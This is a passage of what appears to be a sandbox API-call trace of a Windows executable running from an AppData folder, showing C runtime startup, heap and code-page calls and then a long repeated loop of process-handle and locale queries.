0xcc8 [0180.871] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0180.871] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0180.871] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x4090000 [0180.872] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76720000 [0180.873] GetProcAddress (hModule=0x76720000, lpProcName="FlsAlloc") returned 0x7673a980 [0180.873] GetProcAddress (hModule=0x76720000, lpProcName="FlsGetValue") returned 0x76737570 [0180.873] GetProcAddress (hModule=0x76720000, lpProcName="FlsSetValue") returned 0x76739e30 [0180.873] GetProcAddress (hModule=0x76720000, lpProcName="FlsFree") returned 0x76744ff0 [0180.875] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x214) returned 0x40905a8 [0180.876] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76720000 [0180.876] GetCurrentThreadId () returned 0xcc8 [0180.876] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a09d, hStdOutput=0x41a3d6, hStdError=0x40905a8)) [0180.876] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x800) returned 0x40907c8 [0180.876] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0180.876] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0180.876] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0180.876] SetHandleCount (uNumber=0x20) returned 0x20 [0180.876] GetCommandLineW () returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0180.876] GetEnvironmentStringsW () returned 0x25d0cd8* [0180.877] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x0, Size=0xa16) returned 0x4090fd0 [0180.877] FreeEnvironmentStringsW (penv=0x25d0cd8) returned 1 [0180.877] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24a6290, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0x2d [0180.877] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x0, Size=0x64) returned 0x40919f0 [0180.877] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x90) returned 0x4091a60 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x3e) returned 0x4091af8 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x5c) returned 0x4091b40 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x6e) returned 0x4091ba8 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x78) returned 0x4091c20 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x62) returned 0x4091ca0 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x28) returned 0x4091d10 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x48) returned 0x4091d40 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x1a) returned 0x4091d90 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x3a) returned 0x4091db8 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x62) returned 0x4091e00 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x2a) returned 0x4091e70 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x2e) returned 0x4091ea8 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x1c) returned 0x4091ee0 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0xd2) returned 0x4091f08 [0180.878] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x7c) returned 0x4091fe8 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x36) returned 0x4092070 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x3a) returned 0x40920b0 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x90) returned 0x40920f8 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x24) returned 0x4092190 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x30) returned 0x40921c0 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x36) returned 0x40921f8 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x48) returned 0x4092238 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x52) returned 0x4092288 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x3c) returned 0x40922e8 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0xd2) returned 0x4092330 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x2e) returned 0x4092410 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x1e) returned 0x4092448 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x2c) returned 0x4092470 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x54) returned 0x40924a8 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x52) returned 0x4092508 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x24) returned 0x4092568 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x42) returned 0x4092598 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x2c) returned 0x40925e8 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x44) returned 0x4092620 [0180.879] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x24) returned 0x4092670 [0180.888] HeapFree (in: hHeap=0x4090000, dwFlags=0x0, lpMem=0x4090fd0 | out: hHeap=0x4090000) returned 1 [0180.889] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0180.889] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x800) returned 0x40926a0 [0180.889] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x8, Size=0x80) returned 0x4092ea8 [0180.889] GetLastError () returned 0x0 [0180.889] SetLastError (dwErrCode=0x0) [0180.889] GetLastError () returned 0x0 [0180.889] SetLastError (dwErrCode=0x0) [0180.889] GetLastError () returned 0x0 [0180.890] SetLastError (dwErrCode=0x0) [0180.890] GetACP () returned 0x4e4 [0180.890] RtlAllocateHeap (HeapHandle=0x4090000, Flags=0x0, Size=0x220) returned 0x4090fd0 [0180.890] GetLastError () returned 0x0 [0180.890] SetLastError (dwErrCode=0x0) [0180.890] IsValidCodePage (CodePage=0x4e4) returned 1 [0180.890] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0180.890] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0180.890] GetLastError () returned 0x0 [0180.890] SetLastError (dwErrCode=0x0) [0180.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0180.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿAĀ") returned 256 [0180.890] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿAĀ", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0180.890] GetLastError () returned 0x0 [0180.890] SetLastError (dwErrCode=0x0) [0180.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0180.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0180.890] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0180.892] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0180.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x1dK\x0c\x9d\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0180.892] GetLastError () returned 0x0 [0180.892] SetLastError (dwErrCode=0x0) [0180.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0180.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0180.893] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0180.893] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0180.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x1dK\x0c\x9d\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0180.893] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c25b) returned 0x0 [0186.796] RtlSizeHeap (HeapHandle=0x4090000, Flags=0x0, MemoryPointer=0x4092ea8) returned 0x80 [0186.796] GetCurrentProcess () returned 0xffffffff [0186.797] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.797] GetSystemDefaultLangID () returned 0x25c0409 [0186.798] GetThreadLocale () returned 0x409 [0186.798] GetCurrentProcess () returned 0xffffffff [0186.798] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.798] GetSystemDefaultLangID () returned 0x25c0409 [0186.798] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.799] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.799] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.799] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.799] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.799] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.799] GetThreadLocale () returned 0x409 [0186.799] GetCurrentProcess () returned 0xffffffff [0186.799] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.799] GetSystemDefaultLangID () returned 0x25c0409 [0186.800] GetThreadLocale () returned 0x409 [0186.800] GetCurrentProcess () returned 0xffffffff [0186.800] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.800] GetSystemDefaultLangID () returned 0x25c0409 [0186.800] GetThreadLocale () returned 0x409 [0186.800] GetCurrentProcess () returned 0xffffffff [0186.800] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.800] GetSystemDefaultLangID () returned 0x25c0409 [0186.800] GetThreadLocale () returned 0x409 [0186.800] GetCurrentProcess () returned 0xffffffff [0186.800] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.800] GetSystemDefaultLangID () returned 0x25c0409 [0186.800] GetThreadLocale () returned 0x409 [0186.800] GetCurrentProcess () returned 0xffffffff [0186.800] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.800] GetSystemDefaultLangID () returned 0x25c0409 [0186.800] GetThreadLocale () returned 0x409 [0186.800] GetCurrentProcess () returned 0xffffffff [0186.800] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.800] GetSystemDefaultLangID () returned 0x25c0409 [0186.800] GetThreadLocale () returned 0x409 [0186.800] GetCurrentProcess () returned 0xffffffff [0186.800] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.800] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: 